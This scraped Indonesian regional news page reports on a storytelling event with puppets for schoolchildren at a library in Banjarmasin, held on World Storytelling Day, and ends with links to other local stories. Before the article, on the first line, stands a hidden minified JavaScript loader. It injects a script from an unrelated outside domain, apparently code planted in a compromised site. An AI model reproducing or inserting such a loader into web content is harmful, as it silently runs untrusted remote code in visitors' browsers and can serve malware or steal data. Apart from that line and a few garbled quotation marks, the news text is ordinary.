(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Dongeng bersama anak-anak sekolah yang diadakan di Kids Library Perpustakaan Palnam, ternyata membuahkan hasil. Pada Senin (16/3/2020) pagi, Dispersip Kalsel mendatangkan Kak Dimas Gulaga, bertepatan dengan Hari Dongeng Sedunia.
Dengan menggunakan media berupa boneka, Kak Dimas menyampaikan ceritanya, dan itu sebenarnya adalah salah satu teknik panggung. “Jadi anak-anak itu suka sama sesuatu yang mati lalu hidup, seperti saya pernah menggunakan botol untuk mendongeng,†ucap Kak Dimas.
Termasuk imajinasi, juga boneka itu sudah termasuk alat dongeng yang unik yang bisa membuat edukasi dan melalui boneka dongeng itu menjadi enak. Pengalamannya, jika tidak ada mic-nya suasana itu menjadi mati dam mood-nya pun menjadi tidak bagus. “Paling setengah jam kelar sudah penampilan,” kata Kak Dimas.
Di sisi lain, Kepala Dispersip Kalsel melalui Kabid Pelayanan dan Pembinaan Perpustakaan Dispersip Kalsel Wildan Akhyar menyampaikan, program ini juga sesuai visi misi Pemprov Kalsel melalui program Dispersip. Guna meningkatkan minat baca di Kalsel dengan banyak melakukan kegiatan-kegiatan di perpustakaan. Salah satunya, mendatangkan pendongeng kelas nasional.
“Kita dulu pernah mendatangkan Kak Agus, pernah juga mendatangkan Kak Geri, juga Kak Bimo, sekarang kami mendatangkan Kak Dimas,†beber Wildan.
Mendongeng kali ini, Wildan berkata, cukup bagus, agar sejak dini anak-anak dikenalkan dengan lingkungan buku. Kendati mereka belum bisa membaca, maka tidak ada salahnya jika dikenalkan dulu, sehingga mereka bisa senang.
“Akhirnya bisa cinta namun dengan dongeng mereka bisa datang ke perpustakaan supaya seneng-seneng di perpustakaan dengan diawali dengan mengenal perpustakaan tentunya lalu anak-anak juga akan kenal dengan membaca,” jelas Wildan.
Terakhir, tanpa ada fiksi itu tidak menarik karena pihaknya juga melihat, dengan adanya pendongeng juga memacu orang tua orang tua di rumah agar senang mendongeng buat anak-anaknya. “Itu sangat bagus secara psikologis buat anak-anak, dan pada saat kita mendongeng dengan anak-anak berkali-kali disampaikan bahwa di saat itulah kita bisa, menitipkan pesan positif kepada anak-anak kita,” tandas Wildan. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Pendidikan Nasional (Hardiknas) dan Hari Otonomi Daerah ke-28 tahun 2024… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ribuan warga mendatangi lokasi peringatan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara… Read More
KANALKALIMANTAN.COM, AMUNTAI - Gubernur Kalimantan Selatan (Kalsel) H Sahbirin Noor menilai sebuah pembangunan tidak terlepas… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kasus Demam Berdarah Dengue (DBD) di Kota Banjarbaru dalam empat bulan terakhir… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah mahasiswa yang tergabung dalam Badan Eksekutif Mahasiswa (BEM) se Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More
This website uses cookies.